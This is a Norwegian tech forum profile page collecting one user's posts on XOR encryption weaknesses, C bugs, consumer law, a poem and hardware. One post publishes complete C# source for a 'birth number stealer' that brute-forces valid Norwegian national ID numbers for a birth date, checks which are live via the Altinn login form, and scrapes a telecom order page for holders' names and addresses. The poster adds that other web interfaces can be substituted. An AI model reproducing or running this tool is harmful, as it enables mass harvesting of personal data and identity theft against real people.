charlie di meola
-
Innlegg
337 -
Ble med
-
Besøkte siden sist
Innholdstype
Profiler
Forum
Hendelser
Blogger
Om forumet
Innlegg skrevet av charlie di meola
-
-
prøv å trykke/holde inne knappen som er helt til høyre på undersiden av skjermen
-
skriptkiddie alert...
-
i din algoritme har du
out = plaintext ^ key ^ key[length - i - 1] ^ length;
men tenk deg at
altkey = key ^ key[length - i - 1] ^ length;
og
out = plaintext ^ altkey;
da vil du bare trenge å finne altkey ved hjelp av metoder som brukes til å cracke "vanlig" xor'ing (out = plaintext ^ key).
den originale keyen som du bruker er vanskeligere å finne, men den trenger man ikke for å dekryptere.
og da ser du kanskje hvorfor algoritmen ikke gir mer sikkerhet enn rett frem xor'ing (det blir akkurat det samme).
-
En snekker og nok en snekker
satt på stillaset og spaset.
Da er det en planke knekker og
vipper dem vekk fra stillaset.
Og A hugg seg fast med sin hammer,
men B la beslag på hans legge,
og en vill og evindelig jammer
steg opp mot det blå fra dem begge.
Og hvinet ble verre og verre,
og folk fulgte med dem i jammer’n.
Slipp, hylte hammerens herre,
slipp, ellers slår jeg med hammer’n.
De hang der, gud bedre, og spaset
for mengdens beundrende blikke.
Men så ble det stilt på stillaset,
og plutselig hang de der ikke.
Men om det var ham som hang fast,
som skal legges til last,
eller ham som sa slipp, som slapp,
det blir hipp som happ.
Og dette vil ergre de store,
men enkelte små vil det more.
-
som sagt, xoring av lengde og passord begge veier gir ingen ekstra sikkerhet i forhold til bare å xor'e forfra. post en fil med en kryptert utgave av ditt favorittdikt eller noe, og bruk en repeterende nøkkel, så skal jeg poste plainteksten her (hvis jeg får det til da ).
-
for at algoritmen din skal være sikker, så må nøkkelen være like lang som plaintext.
post gjerne en fil med ciphertext (hvor det er brukt repeterende key) så er det sikkert noen her som kan dekryptere.
edit: altså, det at du også XOR'er keysize og passordet begge veier gjør ingenting for sikkerheten kontra bare å XOR'e passordet forfra, du må fortsatt ha like lang key som det du skal kryptere for at det skal være sikkert
-
prøv foo funksjonen jeg postet i forrige innlegg
edit: ehh... bar() mente jeg seff
-
foobar* bar(int n) { foobar *foo = (foobar *)malloc(sizeof(foobar)); foo->n = n; return foo; }
du returner adressen til en lokal variabel.
når den går ut av scope er du ikke lenger garantert at den inneholder korrekt data.
-
-
char* buf2;
sprintf(buf2,"javaw -jar %s/VikingCopy/VikingCopy.jar",buf);
^^ ikke så rart at det kræsjer da
prøv char buf2[NOK_PLASS]; evt. malloc, for nå prøver sprintf å skrive til en random adresse.
men det opprinnelige problemet har nok noe med env variabler å gjøre
system() kjører "javaw -classpath x:\program files\ ..."
mens de andre kallene vil kjøre bokstavelig talt "javaw -classpath %ProgramFiles% ..."
derfor må du bruke GetEnvVar først
-
bare slenger ut et forslag
GetEnvironmentVariable("ProgramFiles",buf,bufsize); sprintf(buf2,"-classpath \"%s/VikingCopy\" VikingCopy",buf); ShellExecute(0, "open", "javaw", buf2, NULL, SW_SHOW);
-
ptr = strstr(subject, "Sak #"); sscanf(ptr, "Sak #%d", &num);
husk å sjekke at ptr ikke er NULL etter strstr.
hvis Sak MÅ forekomme som første eller andre ord må du gjøre det litt annerledes.
koden over fanger opp "RE: RE: RE: Sak # ..." også
-
-
void bubbleSort(int *array, int length) { int i, j, temp; int test; /*use this only if unsure whether the list is already sorted or not*/ for(i = length - 1; i > 0; i--) { test=0; for(j = 0; j < i; j++) { if(array[j] > array[j+1]) /* compare neighboring elements */ { temp = array[j]; /* swap array[j] and array[j+1] */ array[j] = array[j+1]; array[j+1] = temp; test=1; } } /*end for j*/ if(test==0) break; /*will exit if the list is sorted!*/ } /*end for i*/ }/*end bubbleSort*/
kan hende jeg misforstår hva du er ute etter da
temp = array[j];
array[j] = array[j+1];
array[j+1] = temp;
et kodeeksempel hvor verdien i to variabler blir byttet vha en tredje variabel, yes?
se her for en forklaring på hva bubblesort er for noe.
-
første jeg kan komme på er bubblesort. gåggel finner sikkert et kodeeksempel.
-
Sitat fra angreskjema
Melding om bruk av angreretten må gis til selgeren innen fristen, og kan gis på hvilken som helst måte. Du kan bruke dette skjemaet som skal være utfylt av selgeren som spesifisert nedenfor. Fristen anses som overholdt dersom meldingen er avsendt innen fristens utløp, og du bør sørge for at dette kan dokumenteresDu angrer mao "by the book", og DI er på bærtur.
-
Bærbare PC-er skal egentlig bare vare i 1 år så her er du heldig at det er netshop du har med å gjøre, Du blir tross alt 400,- rikere enn det du har krav på netshop #1 </carpenter>
Fra spøk til alvor, hvis netshop ikke vil omlevere eller reparere så gjenstår det bare en ting, heving av kjøpet. Netshop kan kreve bruksfradrag, og du kan kreve renter på kjøpesummen fra kjøpsdato.
Noe de derimot ikke vil komme så langt med, er å hevde 3 års levetid for en bærbar pc. Levetiden er simpelthen ikke mindre enn fem år (i mine øyne), og det tror jeg rettsinstansene vil være enig i. Regnestykket blir da seende noenlunde slik ut (med forbehold om regnefeil, og feil rente - usikker på hva den skal være men brukte 10%):
(killeng sin post er brukt som mal)
14721 / 5 / 12 = 245,35 kr pr måned. Ganger 35 måneder = 8587,25 kroner.
Renter for trettifem måneder = 14721 * 0,1 * 35/12 = 4293,625 kroner.
Og da blir fradraget: 8587,25 - 4293,625 = 4293,625 kroner.
Hehe, er noen tall som går igjen, får håpe jeg ikke sitter og surrer her midt på natten
-
Klikk for å se/fjerne innholdet nedenforher er det omtalte programmet. det fungerer ikke lenger mot tele2 (som nå bruker fornavn og etternavn til validering + personnummer) men det er andre webgrensesnitt som kan brukes.using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Net;
using System.Text.RegularExpressions;
namespace Fødselsnummer_stjeler
{
class Program
{
private static bool sjekkFødselsnummer(String fødselsnummer)
{
byte[] data = Encoding.ASCII.GetBytes("__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=dDwtODE3MTQ0OTU2O3Q8O2w8aTwxPjs%2BO2w8dDw7bDxpPDU%2BOz47bDx0PHA8cDxsPFZJRVdTVEFURV9PUkRFUlBJTlNURVA7PjtsPG88dD47Pj47PjtsPGk8MT47aTwzPjtpPDU%2BO2k8Nz47aTw5PjtpPDExPjtpPDEzPjtpPDIxPjtpPDI2PjtpPDI3PjtpPDI5PjtpPDMxPjtpPDM1PjtpPDM3Pjs%2BO2w8dDxwPGw8VGV4dDs%2BO2w8VmVsa29tbWVuIHRpbCBBbHRpbm4hOz4%2BOzs%2BO3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPGw8VGV4dDs%2BO2w8TG9nZyBpbm4gbWVkIHBhc3NvcmQ6Oz4%2BOzs%2BO3Q8cDxwPGw8VGV4dDs%2BO2w8U3RlZyAxIGF2IDI7Pj47Pjs7Pjt0PHA8bDxpbm5lcmh0bWw7PjtsPEJydWsgZGl0dCBzZWx2dmFsZ3RlIHBhc3NvcmQgb2cga2xpa2sgcMOlIFw8aVw%2BRm9ydHNldHRcPC9pXD4ta25hcHBlbiBmb3Igw6UgYmVrcmVmdGUgZGluIGlkZW50aXRldCBtZWQgZW5nYW5nc2tvZGUuOz4%2BOzs%2BO3Q8cDxsPHN0eWxlOz47bDxIRUlHSFQ6NjBweFw7ZGlzcGxheTpub25lXDs7Pj47Oz47dDxwPGw8VmlzaWJsZTs%2BO2w8bzxmPjs%2BPjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4%2BOzs%2BO3Q8cDxwPGw8VmlzaWJsZTs%2BO2w8bzxmPjs%2BPjs%2BOzs%2BO3Q8cDxwPGw8VGV4dDs%2BO2w8Rm9ydHNldHQgXD5cPjs%2BPjs%2BOzs%2BO3Q8O2w8aTwzPjtpPDU%2BO2k8Nz47PjtsPHQ8O2w8aTwwPjs%2BO2w8dDw7bDxpPDA%2BOz47bDx0PHA8cDxsPEltYWdlVXJsOz47bDwuLi8uLi9JbWFnZXMvQ19ib2tzLmdpZjs%2BPjs%2BOzs%2BOz4%2BOz4%2BO3Q8O2w8aTwwPjs%2BO2w8dDw7bDxpPDA%2BOz47bDx0PHA8cDxsPEltYWdlVXJsOz47bDwuLi8uLi9JbWFnZXMvRF9ib2tzLmdpZjs%2BPjs%2BOzs%2BOz4%2BOz4%2BO3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47Pj47dDxwPHA8bDxOYXZpZ2F0ZVVybDs%2BO2w8Lzs%2BPjtwPGw8b25jbGljazs%2BO2w8d2luZG93Lm9wZW4oJ0FsdGlubkhlbHAuYXNweCNpbm5sb2dnaW5nJywgJ19ibGFuaycsICd3aWR0aD04MDAsIGhlaWdodD02MDAsIHJlc2l6YWJsZT15ZXMsIHRvb2xiYXI9bm8sIHNjcm9sbGJhcnM9eWVzJylcOyByZXR1cm4gZmFsc2VcOzs%2BPj47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4%2BOz47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4%2BOz47Oz47Pj47Pj47Pj47bDxQaW5jb2RlU01TMTpSYWRpb0J1dHRvbkxpc3RMb2dpbkFsdGVybmF0aXZlc18wO1BpbmNvZGVTTVMxOlJhZGlvQnV0dG9uTGlzdExvZ2luQWx0ZXJuYXRpdmVzXzE7Pj4UnOEQeEcEjcIhShGzLKAd8PH%2Fsg%3D%3D&PincodeSMS1%3ARadioButtonListLoginAlternatives=1&PincodeSMS1%3AFnrTextBox=" + fødselsnummer + "&PincodeSMS1%3APasswordTextBox=&iebug=&PincodeSMS1%3AOrderSMSPinButton=Fortsett+%3E%3E");
Regex fødselsnummerReg = new Regex("<div id=\"PincodeSMS1_ErrorString\" class=\"userError\">Fødselsnummeret er feil.</div>");
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://www.altinn.no/ega/Login/Login2.aspx");
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";
request.ContentLength = data.Length;
request.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5";
request.Referer = "https://www.altinn.no/ega/Login/Login2.aspx";
CookieContainer myContainer = new CookieContainer();
request.CookieContainer = myContainer;
Stream postData = request.GetRequestStream();
postData.Write(data, 0, data.Length);
postData.Close();
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream Answer = response.GetResponseStream();
StreamReader _Answer = new StreamReader(Answer);
String htmlBuffer = _Answer.ReadToEnd();
Match fødselsnummerMatch = fødselsnummerReg.Match(htmlBuffer);
if (fødselsnummerMatch.Success)
return false;
else
return true;
}
private static String sjekkPersonalia(string fødselsnummer, string tele2)
{
byte[] data = Encoding.ASCII.GetBytes("trinn=2&fratrinn=2" + tele2 + "&personnummer=" + fødselsnummer);
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://www.tele2.no/privat/mobil/bestill/index.cfm/mobil_kompis/?trinn=3" +tele2);
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";
request.ContentLength = data.Length;
request.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5";
request.Referer = "https://www.tele2.no/privat/mobil/bestill/index.cfm/mobil_kompis/?trinn=2" +tele2;
CookieContainer myContainer = new CookieContainer();
request.CookieContainer = myContainer;
Stream postData = request.GetRequestStream();
postData.Write(data, 0, data.Length);
postData.Close();
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream Answer = response.GetResponseStream();
StreamReader _Answer = new StreamReader(Answer);
String htmlBuffer = _Answer.ReadToEnd();
Regex regexForNavn = new Regex("<dd><input type=\"text\" name=\"fornavn\" id=\"mobil-bestilling-fornavn\" value=\"(?<fnavn>.+)\" disabled=\"disabled\" /></dd>");
Regex regexEtterNavn = new Regex("<dd><input type=\"text\" name=\"etternavn\" id=\"mobil-bestilling-etternavn\" value=\"(?<enavn>.+)\" disabled=\"disabled\" /></dd>");
Regex regexAdresse = new Regex("<dd><input type=\"text\" name=\"adresse\" id=\"mobil-bestilling-adresse\" value=\"(?<adresse>.+)\" disabled=\"disabled\" /></dd>");
Regex regexPostnummer = new Regex("<dd><input type=\"text\" name=\"postnummer\" id=\"mobil-bestilling-postnummer\" value=\"(?<postnummer>.+)\" disabled=\"disabled\" /></dd>");
Match matchForNavn = regexForNavn.Match(htmlBuffer);
Match matchEtterNavn = regexEtterNavn.Match(htmlBuffer);
Match matchAdresse = regexAdresse.Match(htmlBuffer);
Match matchPostnummer = regexPostnummer.Match(htmlBuffer);
String fornavn = matchForNavn.Groups["fnavn"].Value;
String etternavn = matchEtterNavn.Groups["enavn"].Value;
String adresse = matchAdresse.Groups["adresse"].Value;
String postnummer = matchPostnummer.Groups["postnummer"].Value;
String allinfo = String.Format("{0} {1} - {2} {3}", fornavn, etternavn, adresse, postnummer);
return allinfo;
}
static int Main(string[] args)
{
string tele2 = "";
try
{
FileStream filTele2 = new FileStream("tele2.txt", FileMode.Open, FileAccess.Read);
StreamReader streamTele2 = new StreamReader(filTele2);
tele2 = streamTele2.ReadToEnd();
streamTele2.Close();
filTele2.Close();
}
catch (Exception e)
{
Console.WriteLine("Advarsel: " + e.Message);
return 0;
}
Console.WriteLine("Vennligst skriv fødselsdatoen (ddmmåå): ");
String fødselsdatoBuffer = Console.ReadLine();
Console.WriteLine("Vil du hente ned tilhørende personalia? (0 = Nei, 1 = Ja): ");
String personaliaSjekk = Console.ReadLine();
StreamWriter sw = new StreamWriter(new FileStream(fødselsdatoBuffer + ".txt", FileMode.Create, FileAccess.Write));
sw.WriteLine("####START OF FILE####");
int d1 = Convert.ToInt32(fødselsdatoBuffer.Substring(0, 1));
int d2 = Convert.ToInt32(fødselsdatoBuffer.Substring(1, 1));
int m1 = Convert.ToInt32(fødselsdatoBuffer.Substring(2, 1));
int m2 = Convert.ToInt32(fødselsdatoBuffer.Substring(3, 1));
int å1 = Convert.ToInt32(fødselsdatoBuffer.Substring(4, 1));
int å2 = Convert.ToInt32(fødselsdatoBuffer.Substring(5, 1));
for (int i1 = 0; i1 < 10; i1++)
for (int i2 = 0; i2 < 10; i2++)
for (int i3 = 0; i3 < 10; i3++)
{
if ((i3 % 2) == 1 || (i3 % 1) == 0)
{
int k1 = 11 - ((3 * d1 + 7 * d2 + 6 * m1 + 1 * m2 + 8 * å1 + 9 * å2 + 4 * i1 + 5 * i2 + 2 * i3) % 11);
if (k1 == 11)
k1 = 0;
int k2 = 11 - ((5 * d1 + 4 * d2 + 3 * m1 + 2 * m2 + 7 * å1 + 6 * å2 + 5 * i1 + 4 * i2 + 3 * i3 + 2 * k1) % 11);
if (k2 == 11)
k2 = 0;
if (k1 != 10 && k2 != 10)
{
String fødselsnummer = String.Format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}", d1, d2, m1, m2, å1, å2, i1, i2, i3, k1, k2);
if (sjekkFødselsnummer(fødselsnummer) == true)
{
if (personaliaSjekk == "1")
{
String personalia = sjekkPersonalia(fødselsnummer, tele2);
if (personalia.Length > 5)
{
Console.WriteLine(fødselsnummer + " - " + personalia);
sw.WriteLine(fødselsnummer + " - " + personalia);
}
else
{
Console.WriteLine(fødselsnummer + " - KUNNE IKKE HENTE INFO!");
sw.WriteLine(fødselsnummer + " - KUNNE IKKE HENTE INFO!");
}
}
else
{
Console.WriteLine(fødselsnummer);
sw.WriteLine(fødselsnummer);
}
}
else
{
Console.WriteLine(fødselsnummer + " - IKKE I BRUK!!");
sw.WriteLine(fødselsnummer + " - IKKE I BRUK!!");
}
}
}
}
sw.WriteLine("####END OF FILE####");
sw.Close();
return 0;
}
}
}
(får en feilmelding når jeg bruker CODE tag'en, derfor quote.)
edit: oops. puttet det inn i en spoiler slik at bredden ikke blir helt brutalisert
-
hvis vi ser litt nærmere, så var det et svar til han som i innlegg #16 uttrykte sin skepsis overfor masterit...vi har nylig kjørt to runder med Panasonic 42PV70 fra dem der de har oppført seg eksemplarisk (29 TVer totalt).Vi overfører heller ikke beløpet videre til selgeren før TVene er levert, det er fast praksis til vi har etablert en solid porsjon erfaring med MasterIT!
Mao sa han at beløpet kunne bli overført på forhånd gitt tilstrekkelig tillit til "MasterIT", og det hadde han tydeligvis fått. At han her utviste dårlig skjønn betyr ikke at han står juridisk ansvarlig, iallfall ikke for hele beløpet. Et forlik eller dom vil sannsynligvis ikke gi kjøperne mer enn det tilbudet de allerede har fått AVforum/powerbuy.
i tillegg har lygren blitt advart om udugeligheten til masterit på et annet forum (finner ikke linken nå i farten) av en som hadde en lignende erfaring.dette er en fantastisk tilbud,men når jeg begyndte og lese litt i forskjellige forumer om alle de dårlige erfaringene folk har med dette firmaet er det synd.noen her som har noen erfainger fra dette firmaet?jeg kan ikke skjønne annet enn at det ut ifra kontekst er underforstått at pengene i det aktuelle powerbuyet ikke skulle overføres før tvene var levert. men at de ikke utelukket andre fremgangsmåter i fremtidige samkjøp.
edit: leif var her
-
så lenge det er midler å ta av i avforum/avshop/pcperformance/familien lygren, synes jeg ikke de ~40 kjøperne skal ta til takke med noen form for avkorting. her har (imho) lygren opptrådt så til de grader uprofft. tilsidesatt sikkerheten til kjøperne (forutsettningen om at betaling ikke vil skje før tvene er på plass) uten å spørre/informere dem om det. sånn går det når en blendes av fortjeneste :/
han får vente med regulering til ungene i et par år, selge huset og avkorte ferien i syden før han tilbyr folk 50øre pr krone tilbake. synes ikke han lygren gjør annet enn å skryte av seg selv samt prøve å begrense sitt eget ansvar, i den tråden på avforum.
edit: sklivejeif
-
bump...selv om du skal ha oss til å tro noe annet, så finnes det en god del shellerstattere (skrivebordsmiljø) til windowsOS.for folk flest er det nok likevell en kuriositet i beste fall
se wikilink for liste
greit nok at det er lite substans i artikkelen, men direkte vranglære burde helst unngås.
-
-
Konklusjon
”Perfect Stranger” er først og fremst enda en spiker i kista til Halle Berrys karriere. Utover det er det mest en gjespefremkallende film som kynisk og kalkulerende prøver å få tilskuerens interesse ved bruk av mystiske ingredienser som aldri blandes godt nok inn i handlingen. Med et istykkerklippet plot forviller filmen seg stadig lengre ut i det usannsynlige og det må advares om at enkelte plotvrier kan tvinge nærmest hvem som helst til å dynke øynene i helsefarlige mengder belladonna.
hvorfor i all verden anbefaler dere dette?
-
strcasecmp 1414141414141414
Svært treg oppstartstid i boot til tross for SSD
i Maskinen fungerer ikke
Skrevet
hadde samme problem tidligere i år da jeg skaffet ssd. byttet til ahci uten reinstall, og fulgte ssdguiden her på forumet vedrørende optimalisering. oppstarten har jeg ikke tatt tiden på, men den er i alle fall under 15sek.
er et halvt år siden så jeg husker ikke helt hvordan det gjøres. informasjonen finnes dog her på forumet. har du kikket i lagringsmedier/sticky?
her er AS SSD fra før og etter ahci: